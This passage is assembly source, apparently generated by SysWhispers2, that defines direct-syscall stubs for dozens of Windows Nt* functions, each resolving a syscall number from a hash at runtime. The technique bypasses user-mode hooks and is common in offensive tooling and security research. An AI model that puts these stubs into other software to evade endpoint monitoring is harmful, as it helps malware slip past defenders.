mov [rsp+32], r9
sub rsp, 28h
mov ecx, 092C9759Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetIoCompletion ENDP
NtSetIoCompletionEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 041549408h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetIoCompletionEx ENDP
NtSetLdtEntries PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B68BCB6Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetLdtEntries ENDP
NtSetLowEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 010BE586Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetLowEventPair ENDP
NtSetLowWaitHighEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D0323857h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetLowWaitHighEventPair ENDP
NtSetQuotaInformationFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A33AD32Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetQuotaInformationFile ENDP
NtSetSecurityObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0095907DBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetSecurityObject ENDP
NtSetSystemEnvironmentValue PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BA3AE19Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetSystemEnvironmentValue ENDP
NtSetSystemEnvironmentValueEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 053A096FDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetSystemEnvironmentValueEx ENDP
NtSetSystemInformation PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0820BC4DFh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetSystemInformation ENDP
NtSetSystemPowerState PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0928D8426h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetSystemPowerState ENDP
NtSetSystemTime PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 065296C86h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetSystemTime ENDP
NtSetThreadExecutionState PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BD3D7713h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetThreadExecutionState ENDP
NtSetTimer2 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BE26F238h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetTimer2 ENDP
NtSetTimerEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AE9819A7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetTimerEx ENDP
NtSetTimerResolution PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 030AE11E1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetTimerResolution ENDP
NtSetUuidSeed PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 007A80D06h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetUuidSeed ENDP
NtSetVolumeInformationFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0AE3F5438h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetVolumeInformationFile ENDP
NtSetWnfProcessNotificationEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A704F2A5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetWnfProcessNotificationEvent ENDP
NtShutdownSystem PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0408D12B2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtShutdownSystem ENDP
NtShutdownWorkerFactory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0056831C4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtShutdownWorkerFactory ENDP
NtSignalAndWaitForSingleObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00D265A0Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSignalAndWaitForSingleObject ENDP
NtSinglePhaseReject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00AA4140Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSinglePhaseReject ENDP
NtStartProfile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F0B5FB23h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtStartProfile ENDP
NtStopProfile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0069E09F4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtStopProfile ENDP
NtSubscribeWnfStateChange PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 024B8D6ACh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSubscribeWnfStateChange ENDP
NtSuspendProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 001AF0A30h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSuspendProcess ENDP
NtSuspendThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 012BD5C17h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSuspendThread ENDP
NtSystemDebugControl PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C819E280h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSystemDebugControl ENDP
NtTerminateEnclave PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01CB26266h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTerminateEnclave ENDP
NtTerminateJobObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BA952A89h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTerminateJobObject ENDP
NtTestAlert PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B63B95A4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTestAlert ENDP
NtThawRegistry PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0144F26C3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtThawRegistry ENDP
NtThawTransactions PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00F9B3133h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtThawTransactions ENDP
NtTraceControl PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F7E072F2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTraceControl ENDP
NtTranslateFilePath PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B8B75BBBh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTranslateFilePath ENDP
NtUmsThreadYield PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 005B9041Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUmsThreadYield ENDP
NtUnloadDriver PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 010BA2810h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnloadDriver ENDP
NtUnloadKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02C0D0991h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnloadKey ENDP
NtUnloadKey2 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BD217220h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnloadKey2 ENDP
NtUnloadKeyEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BB9CF549h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnloadKeyEx ENDP
NtUnlockFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02612B525h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnlockFile ENDP
NtUnlockVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C052ECF4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnlockVirtualMemory ENDP
NtUnmapViewOfSectionEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05A911250h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnmapViewOfSectionEx ENDP
NtUnsubscribeWnfStateChange PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A287C75Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnsubscribeWnfStateChange ENDP
NtUpdateWnfStateData PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07AC38CAAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUpdateWnfStateData ENDP
NtVdmControl PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 087946682h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtVdmControl ENDP
NtWaitForAlertByThreadId PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07DA898D0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForAlertByThreadId ENDP
NtWaitForDebugEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0108B1611h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForDebugEvent ENDP
NtWaitForKeyedEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D04DEBEAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForKeyedEvent ENDP
NtWaitForWorkViaWorkerFactory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0045430EAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForWorkViaWorkerFactory ENDP
NtWaitHighEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 030905401h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitHighEventPair ENDP
NtWaitLowEventPair PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 020B83419h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitLowEventPair ENDP
NtAcquireCMFViewOwnership PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 034AD3C36h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAcquireCMFViewOwnership ENDP
NtCancelDeviceWakeupRequest PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0970B6F66h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCancelDeviceWakeupRequest ENDP
NtClearAllSavepointsTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00E212079h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtClearAllSavepointsTransaction ENDP
NtClearSavepointTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D048CEF9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtClearSavepointTransaction ENDP
NtRollbackSavepointTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08D0BBD88h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRollbackSavepointTransaction ENDP
NtSavepointTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0CAC5EE4Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSavepointTransaction ENDP
NtSavepointComplete PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04A37A178h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
